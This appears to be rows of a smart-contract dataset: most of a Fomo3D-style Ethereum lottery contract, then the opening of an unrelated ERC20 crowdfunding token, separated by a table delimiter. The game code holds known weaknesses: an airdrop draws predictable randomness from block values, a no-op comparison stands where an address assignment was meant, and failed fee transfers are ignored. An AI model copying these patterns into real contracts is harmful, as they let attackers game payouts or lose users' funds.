plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && hasPlayersInRound(_rID) == true)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = registerName(_addr, _name, _affCode);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = registerNameXaddrFromDapp(msg.sender, _name, _affCode);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = registerNameXnameFromDapp(msg.sender, _name, _affCode);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function isWinner(uint256 _pID, uint256 _rID) private view returns (bool) {
for (uint8 i = 0; i < winnerNum_; i++) {
if (round_[_rID].plyrs[i] == _pID) {
return (true);
}
}
return (false);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && hasPlayersInRound(_rID) == true)
{
if (isWinner(_pID, _rID))
{
calcTotalWinnerKeys(_rID);
return
(
(plyr_[_pID].win).add( (((round_[_rID].pot).mul(48)) / 100).mul(plyrRnds_[_pID][_rID].keys) / totalWinnersKeys_ ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
return
(
round_[rID_].ico,
rID_,
round_[rID_].keys,
round_[rID_].end,
round_[rID_].strt,
round_[rID_].pot,
(round_[rID_].team + (round_[rID_].plyrs[winnerNum_ - 1] * 10)),
plyr_[round_[rID_].plyrs[winnerNum_ - 1]].addr,
plyr_[round_[rID_].plyrs[winnerNum_ - 1]].name,
rndTmEth_[rID_][0],
rndTmEth_[rID_][1],
rndTmEth_[rID_][2],
rndTmEth_[rID_][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function hasPlayersInRound(uint256 _rID) private view returns (bool){
for (uint8 i = 0; i < round_[_rID].plyrs.length; i++) {
if (round_[_rID].plyrs[i] != 0) {
return (true);
}
}
return (false);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function contains(uint256 _pID, uint256[winnerNum_] memory array) private pure returns (bool) {
for (uint8 i = 0; i < array.length; i++) {
if (array[i] == _pID) {
return (true);
}
}
return (false);
}
function calcTotalWinnerKeys(uint256 _rID) private {
uint256[winnerNum_] memory winnerPIDs;
totalWinnersKeys_ = 0;
for (uint8 i = 0; i < winnerNum_; i++) {
if (!contains(round_[_rID].plyrs[i], winnerPIDs)) {
winnerPIDs[i] = round_[_rID].plyrs[i];
totalWinnersKeys_ = totalWinnersKeys_.add(plyrRnds_[round_[_rID].plyrs[i]][_rID].keys);
}
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < (100 ether) && plyrRnds_[_pID][_rID].eth.add(_eth) > (1 ether))
{
uint256 _availableLimit = (1 ether).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
round_[_rID].plyrs[0] = round_[_rID].plyrs[1];
round_[_rID].plyrs[1] = round_[_rID].plyrs[2];
round_[_rID].plyrs[2] = round_[_rID].plyrs[3];
round_[_rID].plyrs[3] = round_[_rID].plyrs[4];
round_[_rID].plyrs[4] = _pID;
if (round_[_rID].team != _team) {
round_[_rID].team = _team;
}
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
playerCount++;
_pID = playerCount;
bytes32 _name = plyr_[_pID].name;
uint256 _laff = plyr_[_pID].laff;
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _win = ((round_[_rID].pot).mul(48)) / 100;
uint256 _gen = ((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100;
uint256 _fee = ((round_[_rID].pot) / 50).add(((round_[_rID].pot).mul(potSplit_[round_[_rID].team].p3d)) / 100);
uint256 _res = ((((round_[_rID].pot).sub(_win)).sub(_fee)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
calcTotalWinnerKeys(_rID);
plyr_[round_[_rID].plyrs[winnerNum_ - 1]].win = (_win.mul(plyrRnds_[round_[_rID].plyrs[winnerNum_ - 1]][_rID].keys) / totalWinnersKeys_).add(plyr_[round_[_rID].plyrs[winnerNum_ - 1]].win);
for (uint8 i = 0; i < winnerNum_ - 1; i++) {
plyr_[round_[_rID].plyrs[i]].win = (_win.mul(plyrRnds_[round_[_rID].plyrs[i]][_rID].keys) / totalWinnersKeys_).add(plyr_[round_[_rID].plyrs[i]].win);
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (!teamAddress.send(_fee)) {
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (round_[_rID].plyrs[winnerNum_ - 1] * 100000000000000000000000000) + (round_[_rID].team * 100000000000000000);
_eventData_.winnerAddr = plyr_[round_[_rID].plyrs[winnerNum_ - 1]].addr;
_eventData_.winnerName = plyr_[round_[_rID].plyrs[winnerNum_ - 1]].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = ((round_[_rID].pot).mul(potSplit_[round_[_rID].team].p3d)) / 100;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && hasPlayersInRound(_rID) == false)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _rndEth = round_[_rID].eth;
uint256 _rndNeedSub = 0;
if (_rndEth >= (2000 ether)) {
if (_rndEth <= (46000 ether)) {
_rndNeedSub = (1 hours).mul(_rndEth / (2000 ether));
} else {
_rndNeedSub = (1 hours).mul(23);
uint256 _ethLeft = _rndEth.sub(46000 ether);
if (_ethLeft <= (12000 ether)) {
_rndNeedSub = _rndNeedSub.add((590 seconds).mul(_ethLeft / (2000 ether)));
} else {
_rndNeedSub = 999;
}
}
}
if (_rndNeedSub != 999) {
uint256 _rndMax = rndMax_.sub(_rndNeedSub);
if (_newTime < (_rndMax).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = _rndMax.add(_now);
}
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
uint256 _long = _eth / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
if (!teamAddress.send(_p3d.add(_com).add(_long))) {
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
isOwner()
public
{
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256[5] plyrs;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface Fomo3dContract {
function setOldContractData(address oldContract) external payable;
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,335 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function toWei(uint256 a) internal pure returns (uint256){
assert(a>0);
return a * 10 ** 18;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** uint256(decimals);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(safeAdd(balanceOf[_to], _value) > balanceOf[_to]);
uint previousBalances = safeAdd(balanceOf[_from],balanceOf[_to]);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
assert(safeAdd(balanceOf[_from],balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender],_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(_from, _value);
return true;
}
}
contract GameRewardToken is owned, TokenERC20 {
enum State{PrivateFunding, PreFunding, Funding, Success, Failure}
mapping (address => bool) public frozenAccount;
mapping (address => address) public applications;
mapping (address => uint256) public bounties;
mapping (address => uint256) public bonus;
mapping (address => address) public referrals;
mapping (address => uint256) public investors;
mapping (address => uint256) public funders;
event FrozenFunds(address indexed target, bool frozen);
event FundTransfer(address indexed to, uint256 eth , uint256 value, uint block);
event SetApplication(address indexed target, address indexed parent);
event Fee(address indexed from, address indexed collector, uint256 fee);
event FreeDistribution(address indexed to, uint256 value, uint block);
event Refund(address indexed to, uint256 value, uint block);
event BonusTransfer(address indexed to, uint256 value, uint block);
event BountyTransfer(address indexed to, uint256 value, uint block);
event SetReferral(address indexed target, address indexed broker);
event ChangeCampaign(uint256 fundingStartBlock, uint256 fundingEndBlock);
event AddBounty(address indexed bountyHunter, uint256 value);
event ReferralBonus(address indexed investor, address indexed broker, uint256 value);
bool public finalizedCrowdfunding = false;
uint256 public fundingStartBlock = 0;
uint256 public fundingEndBlock = 0;
uint256 public constant lockedTokens = 250000000*10**18;
uint256 public bonusAndBountyTokens = 50000000*10**18;
uint256 public constant devsTokens = 100000000*10**18;
uint256 public constant hundredPercent = 100;
uint256 public constant tokensPerEther = 20000;
uint256 public constant tokenCreationMax = 600000000*10**18;
uint256 public constant tokenCreationMin = 60000000*10**18;
uint256 public constant tokenPrivateMax = 100000000*10**18;
